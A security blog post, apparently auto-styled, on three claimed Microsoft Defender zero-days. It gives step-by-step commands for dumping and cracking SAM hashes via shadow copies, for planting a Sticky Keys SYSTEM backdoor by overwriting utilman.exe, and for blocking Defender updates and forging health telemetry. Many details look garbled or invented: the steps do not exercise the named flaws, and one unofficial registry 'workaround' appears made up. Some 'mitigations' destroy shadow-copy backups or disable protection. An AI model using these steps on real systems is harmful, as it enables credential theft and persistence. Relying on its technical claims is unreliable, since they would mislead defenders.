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Introduction:
Three in-the-wild Windows zero-day vulnerabilities—BlueHammer (CVE-2026-33825), RedSun, and UnDefend—have been discovered abusing Microsoft Defender’s core components to escalate privileges, dump credentials, and disable security monitoring. These flaws turn Defender’s signature-update pipeline, cloud remediation, and telemetry reporting into attack vectors, allowing unprivileged actors to achieve SYSTEM access and evade detection.
Learning Objectives:
- Understand how BlueHammer leverages Volume Shadow Copy (VSS) and registry hive abuse to extract SAM hashes.
- Learn the mechanics of RedSun, which overwrites System32 binaries using Defender’s cloud remediation logic.
- Identify and mitigate UnDefend’s denial-of-service attack that starves AV signature updates while spoofing healthy EDR telemetry.
You Should Know:
- BlueHammer (CVE-2026-33825) – Abusing Defender’s Signature Pipeline & VSS
This Local Privilege Escalation (LPE) exploits the way Windows Defender processes signature updates. By hijacking the update pipeline, an attacker can force Defender to restore a malicious Volume Shadow Copy containing protected registry hives (e.g., SAM, SECURITY). The result: dumping password hashes and escalating to SYSTEM.
Step‑by‑step guide (for authorized testing & forensics only):
1. Check current privilege level
whoami /priv
- Trigger a Defender signature update (simulate attack chain)
Start-Process "MpCmdRun.exe" -ArgumentList "-SignatureUpdate"
-
Abuse VSS to create a shadow copy of the registry
vssadmin create shadow /for=C:
4. Extract SAM hive from the shadow copy
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\Windows\System32\config\SAM C:\temp\SAM
5. Dump hashes using reg.exe (requires SYSTEM)
reg save hklm\sam C:\temp\sam.save reg save hklm\system C:\temp\system.save
6. Crack hashes with John the Ripper
john --format=nt sam.hash --wordlist=rockyou.txt
Mitigation:
- Disable VSS for untrusted processes: `vssadmin delete shadows /for=C: /all` (temporary)
- Monitor `MpCmdRun.exe` for unexpected `-SignatureUpdate` calls via Sysmon event ID 1.
- RedSun – SYSTEM Escalation via Defender’s Cloud Remediation
RedSun abuses Defender’s “cloud-delivered protection” feature, which automatically downloads and executes remediation scripts. An attacker with medium integrity can force Defender to fetch a malicious script that overwrites a System32 binary (e.g., `winlogon.exe` or utilman.exe) with a SYSTEM‑privileged payload.
Step‑by‑step guide (lab environment only):
1. Identify the cloud remediation endpoint
Check registry:
reg query HKLM\Software\Microsoft\Windows Defender\Cloud /v DisableCloudProtection
- Spoof a malicious cloud response (requires MiTM or local DNS redirection)
– Add hosts entry: `127.0.0.1 smartscreen.microsoft.com`
– Run a local HTTP server serving a crafted `remediation.ps1`
3. Trigger Defender cloud remediation
Set-MpPreference -CloudBlockLevel High Invoke-WebRequest -Uri "http://localhost/remediate" -Method Get
4. Overwrite System32 binary
In the spoofed script:
Copy-Item -Path "C:\temp\evil.exe" -Destination "C:\Windows\System32\utilman.exe" -Force
5. Launch SYSTEM shell via Sticky Keys
Reboot, press Shift 5 times → `utilman.exe` runs as SYSTEM.
Detection:
- Monitor
utilman.exe,sethc.exe, `winlogon.exe` for unexpected hash changes (e.g., usingGet-FileHash). - Enable PowerShell script block logging:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
- UnDefend – Unprivileged DoS Starving AV Updates While Spoofing Healthy Telemetry
This denial-of-service attack prevents Defender from receiving signature updates while injecting fake health statuses into EDR telemetry. Attackers can maintain persistence without triggering alerts.
Step‑by‑step exploitation and simulation:
- Block Defender’s update URLs via hosts file (unprivileged if attacker can write to
%SystemRoot%\System32\drivers\etc\hosts? Usually requires admin. Alternative: use WFP or WinDivert.)echo 0.0.0.0 definitionupdates.microsoft.com >> C:\Windows\System32\drivers\etc\hosts
2. Spoof EDR telemetry by tampering with `MpTelemetry.dll`
- Replace or hook the telemetry reporting function to always return “Healthy”.
3. Verify update starvation
Get-MpComputerStatus | Select-Object AntivirusSignatureVersion, AntispywareSignatureVersion
4. Simulate fake health telemetry (PowerShell – conceptual)
$fakeStatus = @{
AntivirusEnabled = $true
AntivirusSignatureVersion = "1.999.999.0"
RealTimeProtectionEnabled = $true
IoavProtectionEnabled = $true
}
$fakeStatus | ConvertTo-Json | Out-File -FilePath "C:\ProgramData\Microsoft\Windows Defender\Scans\History\Results\Telemetry.json"
Mitigation:
- Enforce network egress filtering for Defender update domains.
- Deploy Sysmon config to monitor `MpTelemetry.dll` tampering (Event ID 11 – FileCreate).
- Use PowerShell to periodically validate signature age:
if((Get-MpComputerStatus).AntivirusSignatureVersion -lt "1.400.0.0") { Write-Warning "Stale signatures!" }
- Detection Commands & Hardening for All Three Zero-Days
Run these checks across your Windows fleet:
- Detect SAM hive access anomalies
wevtutil qe Security /f:text /c:10 /rd:true /q:"[System[(EventID=4656 or EventID=4663) and (Data='\sam')]]"
-
Find overwritten System32 binaries
Get-ChildItem C:\Windows\System32.exe | Get-FileHash | Export-Csv -Path hashes.csv Compare to known-good baseline
-
Check Defender update freshness
(Get-MpComputerStatus).AntivirusSignatureVersion (Get-MpComputerStatus).AntispywareSignatureVersion
-
Enable Windows Defender Attack Surface Reduction (ASR) rules
Add-MpPreference -AttackSurfaceReductionRules_Ids "75668C1F-73B5-4DD0-B276-3552F4F4C8F1" -AttackSurfaceReductionRules_Actions Enabled
-
Monitor for VSS abuse
wevtutil qe "Microsoft-Windows-Sysmon/Operational" /q:"[EventData[Data[@Name='Image']='vssadmin.exe']]" /c:100
5. Patch and Workaround Guidance
Microsoft has not yet released official patches (as of April 2026). Until then:
- Disable cloud-delivered protection (if business risk allows):
Set-MpPreference -DisableCloudProtection $true
- Restrict VSS access to Administrators only via GPO:
`Computer Configuration → Windows Settings → Security Settings → Restricted Groups`
– Block unsigned script execution for Defender remediation paths:Set-MpPreference -ScriptScanningEnabled $true
- Apply Microsoft’s temporary “nightmare-eclipse” registry workaround (unofficial):
reg add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\Parameters" /v BlockCloudRemediation /t REG_DWORD /d 1 /f
What Undercode Say:
- Key Takeaway 1: Attackers are weaponizing trusted security components—Defender’s own update and remediation mechanisms become the new exploit surface. BlueHammer and RedSun prove that “security software” can no longer be implicitly trusted.
- Key Takeaway 2: Traditional EDR telemetry is blind to UnDefend’s spoofing; defenders must move toward integrity-based monitoring (e.g., file hash baselines, network flow analysis) instead of relying on agent-reported health status.
- Analysis: The Nightmare-Eclipse disclosure highlights a paradigm shift: zero-days now target the security stack itself. Organizations should assume breach, implement application control (WDAC/AppLocker), and segment privileged workloads. Immediate actions include disabling cloud remediation where feasible, hardening VSS, and deploying custom detection rules for `MpCmdRun.exe` and `vssadmin` abuse.
Prediction:
Within six months, similar “defender abuse” vulnerabilities will emerge in other AV/EDR products (e.g., CrowdStrike, SentinelOne). Microsoft will likely revoke Defender’s ability to write to System32 without explicit user consent, and cloud remediation will require certificate-pinned validation. Attackers will shift to abusing security agents’ kernel drivers, triggering a wave of “trusted software exploitation” that forces a fundamental redesign of endpoint protection architecture.
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